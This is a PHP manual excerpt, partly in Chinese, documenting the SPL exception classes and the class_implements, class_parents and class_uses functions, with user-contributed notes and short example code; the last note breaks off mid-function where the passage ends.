The DomainException class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Exception thrown if a value does not adhere to a defined valid data domain.

类摘要

class DomainException extends LogicException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

Cruiser 07-Dec-2017 10:02
Quote: "In data management and database analysis, a data domain refers to all the values which a data element may contain."

Source: https://en.wikipedia.org/wiki/Data_domain

This exception has confused me a bit, DataDomainException, or DataTypeException may have been more descriptive.
ja2016 at wir dot pl 31-Dec-2016 05:35
I think this kind of exception is perfect to throw when expected the  type of parameter, value etc. is good, but its value is out of domain. Look at RangeException:
>>Exception thrown to indicate range errors during program execution. Normally this means there was an arithmetic error other than under/overflow. This is the runtime version of DomainException.<<
So, this kind of exception is designed for logic error

When datatype is wrong, the better way is throwing InvalidArgumentException.

<?php
// Here, use InvalidArgumentException
function media($x) {
    switch ($x) {
        case image:
            return 'PNG';
        break;
        case video:
            return 'MP4';
        break;
        default:
            throw new InvalidArgumentException ("Invalid media type!");
    }
}?>
This is completly diffirent situation than this:
<?php
// Here, use DomainException
$object = new Library ();
try {
    $object->allocate($x);
} catch (toFewMin $e) {
    throw new DomainException ("Minimal value to allocate is too high").
}
?>
The simillar situation, but problem occurs during runtime:
<?php
class library {
    function allocate($x) {
        if ($x<1000)
            throw new RangeException ("Value is too low!")
    }
}
?>
Summary: DomainException corresponds to RangeException and we should use them in simillar situations.  But first exception is designed to use when we are sure the problem is with our project, third-part elements etc. (simply: logical error), the second way is designed to use when we are sure the problem is with input data or environment (simply: runtime error).
chmielewski dot thomas at gmail dot com 29-Aug-2014 10:45
<?php

function divide($divident, $divisor) {
    if(!is_numeric($divident) || !is_numeric($divisor)) {
        throw new InvalidArgumentException("Function accepts only numeric values");
    }
    if($divisor == 0) {
        throw new DomainException("Divisor must not be zero");
    }
    return $divident / $divisor;
}
mateusz dot charytoniuk at gmail dot com 20-Oct-2011 12:45
<?php
function renderImage($imageResource, $imageType)
{
  switch ($imageType) {
  case 'jpg':
  case 'jpeg':
    header('Content-type: image/jpeg');
    imagejpeg($imageResource);
    break;
  case 'png':
    header('Content-type: image/png');
    imagepng($imageResource);
    break;
  default:
    throw new DomainException('Unknown image type: ' . $imageType);
    break;
  }
  imagedestroy($imageResource);
}
?>


The InvalidArgumentException class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Exception thrown if an argument is not of the expected type.

类摘要

class InvalidArgumentException extends LogicException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

Joey at anti-culture dot net 02-Feb-2011 09:08
In my opinion this exception is invaluable for validating arguments- for example providing strict typing a la C:

<?php
function tripleInteger($int)
{
  if(!is_int($int))
    throw new InvalidArgumentException('tripleInteger function only accepts integers. Input was: '.$int);
  return $int * 3;
}

$x = tripleInteger(4); //$x == 12
$x = tripleInteger(2.5); //exception will be thrown as 2.5 is a float
$x = tripleInteger('foo'); //exception will be thrown as 'foo' is a string
$x = tripleInteger('4'); //exception will throw as '4' is also a string

?>


The LengthException class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Exception thrown if a length is invalid.

类摘要

class LengthException extends LogicException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The LogicException class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Exception that represents error in the program logic. This kind of exception should lead directly to a fix in your code.

类摘要

class LogicException extends Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

Dawid Krysiak 03-Feb-2011 02:32
Direct known subclasses:
BadFunctionCallException, DomainException, InvalidArgumentException, LengthException, OutOfRangeException


The OutOfBoundsException class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Exception thrown if a value is not a valid key. This represents errors that cannot be detected at compile time.

类摘要

class OutOfBoundsException extends RuntimeException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

Anonymous 09-Jun-2022 12:52
I would probably repeat @jacub's answer, but I see the distinction as following:

`OutOfBoundsException` you throw, when _you_ _set_ bounds and do not wish them to be crossed by an external entity, but they may be.
Example: you ask for a number in range [1, 6] and user input 0 or 7 or what else. You throw an exception indicating user error they could amend.

`OutOfRangeException` you throw, when you expect value within allowed boundary, but actual operation fails.
Example: You are trying to access external API call using information provided by the API itself, and it suddenly tell you that the reference key is not pointing to a valid object. You throw an exception indicating internal failure that the user is unable to correct.

In both cases, the key word is "you throw". Both exceptions are generated at runtime, but the latter describes a situation that should not happen, ever, if a system is configured correctly.
Jakub Adamczyk 16-May-2017 11:35
I see this in this way:
By definiton, OutOfRangeException should be use to when potential problem is logical. This (OutOfBoundsException) is for runtime, so it's perfect for catching errors which occur because of bad result from database and simillar.

Example of using OutOfBoundSException (see also note in "OutOfRangeException class" article):

<?php
class HandleApplication {
    public function __construct($_POST) {
        if(!isset($_POST['secretCode'])
            throw new OutOfBoundsException('Application hasn't sent secret code for authenticate');
}
evguenia dot chagnon at gmail dot com 26-Jan-2017 12:58
class MyDynamicTastyPie implements ArrayAccess{
    private $_pointeur = 0;
    private $_array = ['strawberry slice','white chocolate','nuts'];

    public function offsetExists($key){
        return isset($this->_array[$key]);
    }

    public function offsetGet($key){
        if ($key > count($this->_array)){
            throw new OutOfBoundsException('Your tasty pie doesn\'t contain so slices');
        }
        return $this->_array[$key];
    }

    public function offsetSet($key, $value){
        $this->_array[$key] =$value;
    }

    public function offsetUnset($key){
        unset($this->_array[$key]);
    }

    public function addSlice($slice){
        $this->_array[] = $slice;
    }
}

try {
    $myDynamicTastyPie = new MyDynamicTastyPie();
    $myDynamicTastyPie->addSlice('Black chocolate cream decoration');
    echo $myDynamicTastyPie[7];
}
catch(OutOfBoundsException $e){
    echo 'Here is your OutOfBoundsException!';
}
sricharan dot krishnan at gmail dot com 04-Jul-2016 10:48
An example where an OutOfBoundsException can occur:
Lets say post a certain division process, we wish to access a value in an Array [provided ofcourse if the result value of the division is within the size of the Array]..

try{
    if ($iNum2 == 0){
        throw new Exception("Division by Zero");
    }
    $iResult = $iNum1 / $iNum2;
    echo ("Division result is: ".($iResult)."<br/>");
}
catch (Exception $e){
    echo ("Division by Zero is not possible.".($e)."<br/>");
}

$rg_Array = array(1,2,3,4);

try{
    if ($iResult > sizeof($rg_Array)- 1){
        throw new Exception("Exceeding key values");
    }
echo ("Capturing value from \$rg_Array post Division process:".($rg_Array[$iResult])."<br/>");
}
catch (Exception $e){
    echo ("Value of Division result is out of bounds for the array.".($e)."<br/>");
}
?>
Jacob V. Rasmussen 11-Aug-2015 08:49
OutOfRangeException is for Integers out of range.
OutOfBoundsException is for key values, not found in the target array.

Editor's note: This is incorrect; OutOfRangeException has *nothing* to do with Integer ranges. I decided to keep this highly voted comment even though it is wrong for education's sake.
Anonymous 10-Nov-2014 03:29
i wish i know what's the difference between
OutOfRangeException and OutOfBoundsException lol


The OutOfRangeException class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Exception thrown when an illegal index was requested. This represents errors that should be detected at compile time.

类摘要

class OutOfRangeException extends LogicException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

anrdaemon at yandex dot ru 09-Jun-2022 12:50
I would probably repeat @jacub's answer, but I see the distinction as following:

`OutOfBoundsException` you throw, when _you_ _set_ bounds and do not wish them to be crossed by an external entity, but they may be.
Example: you ask for a number in range [1, 6] and user input 0 or 7 or what else. You throw an exception indicating user error they could amend.

`OutOfRange` you throw, when you expect value within allowed boundary, but actual operation fails.
Example: You are trying to access external API call using information provided by the API itself, and it suddenly tell you that the reference key is not pointing to a valid object. You throw an exception indicating internal failure that the user is unable to correct.

In both cases, the key word is "you throw". Both exceptions are generated at runtime, but the latter describes a situation that should not happen, ever, if a system is configured correctly.
Free 26-May-2020 05:54
I tried to write a snippet that would be detected at compile time, but was unable, apparently due to my PHP engine's interpreted nature. The creator(s) should have provided a usage example (for end-users) or pointed to PHP sources for an example of where/how it's used. None of the provided examples, to date, reflect an exception detected at compile time, as this class asserts.

IMO it's hopeful at best to expect a compiler to detect an illegal index in a dynamically-typed, typically JIT-executed, enviro. Since when is there a strict contract of what indexes should be considered "within range" and how would the compiler know about this contract? Also, how would we try/catch that in the compile phase?

SPL also provides the OutOfBounds exception. If this class, its parent, and OOB have little distinction, then does SPL need all 3?
Jakub 16-May-2017 11:59
I see this in this way:
By definiton, OutOfRangeException should be use to when potential problem is logical - occurs because of wrong code or definition. OutOfBoundsException is for runtime.

Example (see also note in "OutOfBoundsException class" article):
<?php
function prepareData(PDOStatement $s) {
    $x = $s->fetch();
    if (!isset($x['secretColumn']))
        throw new OutOfRangeException ("Secret column doesn't exist! Verify table definition and query.");
}
evguenia dot chagnon at gmail dot com 26-Jan-2017 12:47
Exemple :

$calendar = new Calendar();
$calendar->getMonth(15);


The OverflowException class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Exception thrown when adding an element to a full container.

类摘要

class OverflowException extends RuntimeException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The RangeException class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Exception thrown to indicate range errors during program execution. Normally this means there was an arithmetic error other than under/overflow. This is the runtime version of DomainException.

类摘要

class RangeException extends RuntimeException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

evguenia dot chagnon at gmail dot com 26-Jan-2017 01:30
CF. DomainException  : "DomainException corresponds to RangeException and we should use them in simillar situations.  But first exception is designed to use when we are sure the problem is with our project, third-part elements etc. (simply: logical error), the second way is designed to use when we are sure the problem is with input data or environment (simply: runtime error)."

function divide($divident, $input) {
    if(!is_numeric($divident) || !is_numeric($input)) {
        throw new InvalidArgumentException("Function accepts only numeric values");
    }
    if($input == 0) {
        throw new RangeException("Divisor must not be zero");
    }
    return $divident / $input;
}


The RuntimeException class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Exception thrown if an error which can only be found on runtime occurs.

类摘要

class RuntimeException extends Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

sricharan dot krishnan at gmail dot com 04-Jul-2016 10:41
A simple example of using RuntimeException Class:-

Lets say we would be dividing two numbers and throw an exception as soon as the denominator is equal to zero.

<?php
$iNum1 = 10;
$iNum2 = 0;

try{
if ($iNum2 == 0){
throw new RuntimeException("Division by Zero");
}
$iResult = $iNum1 / $iNum2;
echo ("Division Result of \$iNum1 and $iNum2 = ".($iResult)."<br/>");
}
catch (RuntimeException $e){
echo ("Division by Zero is not possible");
}
?>
kelerest123 at gmail dot com 12-Feb-2015 07:29
Whole exception-class hierarchy is shown at http://php.net/manual/en/spl.exceptions.php#spl.exceptions.tree
Dawid Krysiak 03-Feb-2011 02:31
Direct known subclasses (following the java docs convention (: ):
OutOfBoundsException, OverflowException, RangeException, UnderflowException, UnexpectedValueException


The UnderflowException class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Exception thrown when performing an invalid operation on an empty container, such as removing an element.

类摘要

class UnderflowException extends RuntimeException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

Jakub Adamczyk 11-Jul-2022 11:01
The most typical usage is with stack, queue or collection, for example when you queue tasks, make call stack or manipulate JSON, XML, etc. elements.

As other exepctions of RuntimeException class, this type of error can't be detected in (for example) your IDE or compiler.

<?php
// Functions declared above
$f1 = function() { setTypeControl('username');};
$f2 = function() { setTypeControl('userpass');};
$f3 = function() { setButton('Add');};
$f4 = function() { setButton('OK');};

$tasks = new class {
    private $list;

    // Create internal queue
    public function __construct() {
        $this->list = new SplQueue;
    }

    // Add to queue
    public function add(callable $func) {
        $this->list->enqueue($func);
    }

    // Delete from queue and execute
    public function do() {
        if ($this->list->isEmpty()) {
            throw new UnderflowException;
        } else {
            call_user_func($this->list->dequeue());
        }
    }

};

$tasks->add($f1);
$tasks->add($f2);
$tasks->add($f3);
$tasks->add($f4);

$tasks->do(); // Field username is created
$tasks->do(); // Field userpass is created
$tasks->do(); // Button Add is created
$tasks->do(); // Button OK is created
$tasks->do(); // Fatal error: Uncaught UnderflowException in ...
evguenia dot chagnon at gmail dot com 26-Jan-2017 01:40
UnderflowException handles exceptions due to a value being too small to maintain precision, resulting in loss of accuracy. In PHP, this can occurs when using floats:

echo (1-0.9) // 0.1
echo (1-0.99) // 0.01
echo (1-0.999) // 0.001
echo (1-0.9999) // 9.9999999999989E-05
echo (1-0.99999) // 9.9999999999545E-06
echo (1-0.999999) // 1.0000000000288E-06


The UnexpectedValueException class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Exception thrown if a value does not match with a set of values. Typically this happens when a function calls another function and expects the return value to be of a certain type or value not including arithmetic or buffer related errors.

类摘要

class UnexpectedValueException extends RuntimeException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


SPL 函数

Table of Contents

  • class_implements — 返回指定的类或接口实现的所有接口
  • class_parents — 返回指定类的父类
  • class_uses — Return the traits used by the given class
  • iterator_apply — 为迭代器中每个元素调用函数
  • iterator_count — 计算迭代器中元素的个数
  • iterator_to_array — 复制迭代器中的元素到数组
  • spl_autoload_call — 尝试所有已注册的 __autoload() 函数来装载请求类
  • spl_autoload_extensions — 注册并返回 spl_autoload 的默认文件扩展名
  • spl_autoload_functions — 返回所有已注册的 __autoload() 函数
  • spl_autoload_register — 注册指定的函数作为 __autoload 的实现
  • spl_autoload_unregister — 注销已实现的 __autoload() 函数
  • spl_autoload — __autoload()函数的默认实现
  • spl_classes — 返回所有可用的SPL类
  • spl_object_hash — 返回指定对象的 hash id
  • spl_object_id — Return the integer object handle for given object

User Contributed Notes

benny at whitewashing dot de 22-Jul-2008 09:56
I have to correct my implementation from before. The example before only supported correct read-access but failed on setting new values after creation of the ArrayMultiObject. Also i had to correct a bug that occured from my CopyPasteChange into the comment textarea.

This snippet now hopefully implements a fully functional multidimensional array, represented by an ArrayObject:

<?php
class ArrayMultiObject extends ArrayObject
{
    function __construct($array, $flags = 0, $iterator_class = "ArrayIterator")
    {
        $objects = array();
        foreach($array AS $key => $value) {
            if(is_array($value)) {
                $objects[$key] = new ArrayMultiObject($value, $flags, $iterator_class);
            } else {
                $objects[$key] = $value;
            }
        }

        parent::__construct($objects, $flags, $iterator_class);
    }

    public function offsetSet($name, $value)
    {
        if(is_array($value)) {
            $value = new ArrayMultiObject($value);
        }

        return parent::offsetSet($name, $value);
    }
}
?>
loaded67 at hotmail dot com 19-May-2008 01:56
For some application I needed to reverse some standard iterators.

So I mocked up this flexible function.
Enjoy

<?php
function reverse_iterator(Iterator $iterator){
    $type     = get_class($iterator);
    $array     = array_reverse(iterator_to_array($iterator), true);
    return new $type($array);
}
?>
prometheus - csaba dot dobai at php-sparcle dot hu 13-Sep-2007 02:33
This code is an example. By using classes like this, you gives a chance to create classes which extends another class but have most of the ability what a class extends ArrayObject (like multiple inheritance):

<?php

class foo
{
    public $foo = 'foo';
} // class

class foobar extends foo implements ArrayAccess,IteratorAggregate,Countable
{
    public function offsetExists($offset)
    {
        $array = array(1, 2, 3, 4);
        return array_key_exists($offset, $array);
    }

    public function offsetGet($offset)
    {
        $array = array(1, 2, 3, 4);
        return $array[$offset];
    }

    public function offsetSet($offset, $value)
    {
        // Makes "array" to readonly
    }

    public function offsetUnset($offset)
    {
        // Makes "array" to readonly
    }

    function count()
    {
        $array = array(1, 2, 3, 4);
        return count($array);
    } // function

    function getArray()
    {
        return array(1, 2, 3, 4);
    } // function

    function getIterator()
    {
        return new ArrayIterator(array(1, 2, 3, 4));
    } // function

    function __toString()
    {
        return 'String test';
    } // function
} // class

$foobar = new foobar();
print $foobar[0].'<br/>';
print $foobar->foo.'<br/>';
print count($foobar).'<br/>';

foreach ($foobar as $k=>$v)
{
    print $k.'=>'.$v.'<br/>';
} // foreach

var_dump($foobar->getArray());

print $foobar;

/* Generated output:
1
foo
4
0=>1
1=>2
2=>3
3=>4
array
  0 => int 1
  1 => int 2
  2 => int 3
  3 => int 4
String test
*/
?>

For proper use you must be define all these methods except getArray()

Browse SPL's sources to be a very helpful think.

ps.: sry for my english
semperluc (at) yahoo._forgot_the_rest 01-Feb-2007 01:43
<?php
/*
How to store SPL Iterator results (rather than just echo-and-forget):

The library of Iterators  are object based, so you need to trick the little rascals into an array.
Here's how (two ways) ...

1. Explicit typecasts: $a[] = (array)$Obj->objMethod();

2. Array definition: $a[] = array( key => $Obj->objMethod() );

Examples: DirectoryIterator()
*/

// 1. explicity typecast object as array
foreach ( new DirectoryIterator('./') as $Item )
{
  $fname = (array)$Item->getFilename();
  $dir_listing[] = $fname[0];
}

//
echo "<pre>";
print_r($dir_listing); unset($dir_listing);
echo"</pre><hr />";
//

// or

// 2. define array as key => object->method
foreach ( new DirectoryIterator('./') as $Item )
{
  $dir_listing[] = array (
    "fname" => $Item->getFilename(),
    "path" => $Item->getPathname(),
    "size" => $Item->getSize(),
    "mtime" => $Item->getMTime()
  );
}

//
echo "<pre>";
print_r($dir_listing); unset($dir_listing);
echo"</pre>";
//
?>
ville</.>witt</a>gmail</.>com 12-Jan-2006 12:37
These to funtions has excatly the same output, the only diff. is in which directory iterator they use. I hope someone out there can use it:
<?php
function listfilesin1 ($dir = ".", $depth=0) {
    echo "Dir: ".$dir."<br/>";
    foreach(new DirectoryIterator($dir) as $file) {
        if (!$file->isDot()) {
            if ($file->isDir()) {
                $newdir = $file->getPathname();
                listfilesin1($newdir, $depth+1);
            } else {
                echo "($depth)".$file->getPathname() . "<br/>";
            }
        }
    }
}
function listfilesin2 ($dir = ".", $depth=0) {
    echo "Dir: ".$dir."<br/>";
    foreach(new RecursiveDirectoryIterator($dir) as $file) {
        if ($file->hasChildren(false)) {
            $newdir = $file->key();
            listfilesin2($newdir, $depth+1);
        } else {
            echo "($depth)".$file->key() . "<br/>";
        }
    }
}
listfilesin();
?>
adove at booyahnetworks dot com 10-Oct-2005 10:45
Something to note that, at least to me, seems pretty important and is not entirely clear in the documentation is the fact that the ArrayObject class supports get/set on uni-dimensional keys and get ONLY on *passed* multi-dimensional keys/paths (see source below). If you, like me, need to support array accesss overloading for multi-dimensional data, you will need to derive from ArrayObject and overide the ArrayAccess interface methods to "walk" passed data and convert embedded arrays to objects of some kind...

Reference Bug 34816 @ http://bugs.php.net/bug.php?id=34816.

Illustration of the issue:

$a = array(
    "test" => array(
        "one" => "dunno",
        "two" => array(
            "peekabo" => "do you see me?",
            "anyone" => array("there")
            )
        )
    );
$oArray = new ArrayObject($a);
var_dump($oArray);

$oArray["three"] = "No problems here.";

echo "\n\\test\\one == " . $oArray["test"]["one"] . "\n\n";

// NEITHER of the two below will work!
$oArray["test"]["one"] = "Yes I do!";
$oArray["test"]["yes"] = array(
    "hello" => "Goodbye!"
    );

var_dump($oArray);

---
Note from the extension author:
Actually there is RecursiveArrayObject and RecursiveArrayIterator to deal with recursive structures. However this does not always solve all multidimensional issues as expected.
helly at php dot net 25-Sep-2005 02:41
There is a RecursiveFilterIterator that makes the above code much easier. And then ther is ParentIterator thta is already a filtering recursive iterator that only accepts elements that have children, with a RecursiveDirectoryIterator as inner iterator you would obviously get only the directories. Further more it ensures that it creates the correct children. All in all you simply need to do this:

$it = new RecursiveDirectoryIterator($path);
$it = new ParentIterator($it);
$it = new RecursiveIteratorIteator($it);

foreach($it as $dir  => $o) { ... }
phil &ampersat; flatnet.net 17-Apr-2004 03:11
Here's a sample implementation of the RecursiveDirectoryIterator class. It prints a simple treeview of a given directory:
<?php
function recurse($it) {
   echo '<ul>';
   for( ; $it->valid(); $it->next()) {
       if($it->isDir() && !$it->isDot()) {
           printf('<li class="dir">%s</li>', $it->current());
           if($it->hasChildren()) {
               $bleh = $it->getChildren();
               echo '<ul>' . recurse($bleh) . '</ul>';
           }
       } elseif($it->isFile()) {
           echo '<li class="file">'. $it->current() . ' (' . $it->getSize(). ' Bytes)</li>';
       }
   }
   echo '</ul>';
}

recurse(new RecursiveDirectoryIterator('D:/'));
?>


返回指定的类或接口实现的所有接口

  • ? SPL 函数
  • class_parents ?
  • PHP Manual
  • SPL 函数
  • 返回指定的类或接口实现的所有接口

class_implements

(PHP 5, PHP 7, PHP 8)

class_implements — 返回指定的类或接口实现的所有接口

说明

class_implements(object|string $object_or_class, bool $autoload = true): array|false

本函数返回数组，包含指定 object_or_class 及其父类所实现的所有接口的名称。

参数

object_or_class

对象（类实例）或字符串（类名或接口名）。

autoload

如果尚未加载，是否自动加载。

返回值

成功时为数组，当指定类不存在则为 false。

示例

Example #1 class_implements() 示例

<?php

interface foo { }
class bar implements foo {}

print_r(class_implements(new bar));

// 可以指定参数为字符串
print_r(class_implements('bar'));

spl_autoload_register();

// 使用自动加载去加载"not_loaded"类
print_r(class_implements('not_loaded', true));

?>

以上示例的输出类似于：

Array
(
    [foo] => foo
)
Array
(
    [foo] => foo
)
Array
(
    [interface_of_not_loaded] => interface_of_not_loaded
)

注释

Note: 检测对象是否 implements interface，应该使用 instanceof 或 is_a() 函数。

参见

  • class_parents() - 返回指定类的父类
  • get_declared_interfaces() - 返回一个数组包含所有已声明的接口
  • is_a() - 检查对象是否属于一个给定的类型或子类型。
  • instanceof

User Contributed Notes

sam at rmcreative dot ru 03-Apr-2019 07:16
The order of interfaces is not reliable and varies between PHP versions.
a dot panek at brainsware dot org 05-Nov-2013 01:29
Calling class_implements with a non-loadable class name or a non-object results in a warning:

<?php
// Warning: class_implements(): Class abc does not exist and could not be loaded in /home/a.panek/Projects/sauce/lib/Sauce/functions.php on line 196

$interfaces = class_implements('abc');
?>

This is not documented and should just return FALSE as the documentation above says.
trollll23 at yahoo dot com 25-Oct-2005 12:57
Luckily, it prints out superinterfaces as well in reverse order so iterative searching works fine:

    <?php

    interface InterfaceA { }

    interface InterfaceB extends InterfaceA { }

    class MyClass implements InterfaceB { }

    print_r(class_implements(new MyClass()));

    ?>

prints out:

    Array
    (
        [InterfaceB] => InterfaceB
        [InterfaceA] => InterfaceA
    )
ludvig dot ericson at gmail dot nospam dot com 01-Aug-2005 12:41
Hint:
<?php
in_array("your-interface", class_implements($object_or_class_name));
?>
would check if 'your-interface' is ONE of the implemented interfaces.
Note that you can use something similar to be sure the class only implements that, (whyever you would want that?)
<?php
array("your-interface") == class_implements($object_or_class_name);
?>

I use the first technique to check if a module has the correct interface implemented, or else it throws an exception.


返回指定类的父类

  • ? class_implements
  • class_uses ?
  • PHP Manual
  • SPL 函数
  • 返回指定类的父类

class_parents

(PHP 5, PHP 7, PHP 8)

class_parents — 返回指定类的父类

说明

class_parents(object|string $object_or_class, bool $autoload = true): array|false

本函数返回包含了指定 object_or_class 父类名的数组。

参数

object_or_class

对象（类实例）或字符串（类名称）。

autoload

如果尚未加载，是否自动加载。

返回值

成功时为数组，当指定类不存在则为 false。

示例

Example #1 class_parents() 示例

<?php

class foo { }
class bar extends foo {}

print_r(class_parents(new bar));

// 可以指定参数为字符串
print_r(class_parents('bar'));

spl_autoload_register();

// 使用自动加载去加载"not_loaded"类
print_r(class_parents('not_loaded', true));

?>

以上示例的输出类似于：

Array
(
    [foo] => foo
)
Array
(
    [foo] => foo
)
Array
(
    [parent_of_not_loaded] => parent_of_not_loaded
)

注释

Note: 检测对象是否 implements interface，应该使用 instanceof 或 is_a() 函数。

参见

  • class_implements() - 返回指定的类或接口实现的所有接口
  • is_a() - 检查对象是否属于一个给定的类型或子类型。
  • instanceof

User Contributed Notes

sergei dot solomonov at gmail dot com 02-Oct-2012 02:57
<?php
class foo {}
class bar extends foo {}
class baz extends bar {}

print_r(class_parents(new baz));
?>

Will output:
Array
(
    [bar] => bar
    [foo] => foo
)


Return the traits used by the given class

  • ? class_parents
  • iterator_apply ?
  • PHP Manual
  • SPL 函数
  • Return the traits used by the given class

class_uses

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

class_uses — Return the traits used by the given class

说明

class_uses(object|string $object_or_class, bool $autoload = true): array|false

This function returns an array with the names of the traits that the given object_or_class uses. This does however not include any traits used by a parent class.

参数

object_or_class

An object (class instance) or a string (class name).

autoload

Whether to autoload if not already loaded.

返回值

An array on success, or false when the given class doesn't exist.

示例

Example #1 class_uses() example

<?php

trait foo { }
class bar {
use foo;
}

print_r(class_uses(new bar));

print_r(class_uses('bar'));

spl_autoload_register();

// use autoloading to load the 'not_loaded' class
print_r(class_uses('not_loaded', true));

?>

以上示例的输出类似于：

Array
(
    [foo] => foo
)
Array
(
    [foo] => foo
)
Array
(
    [trait_of_not_loaded] => trait_of_not_loaded
)

参见

  • class_parents() - 返回指定类的父类
  • get_declared_traits() - 返回所有已定义的 traits 的数组

User Contributed Notes

donatj at gmail dot com 15-Mar-2021 06:02
The popular stealz solution doesn't handle traits that use other traits. A little bit of recursion can clean the entire thing up a bit and make it more robust.

<?php

public function class_uses_deep( string $class, bool $autoload = true ) : array {
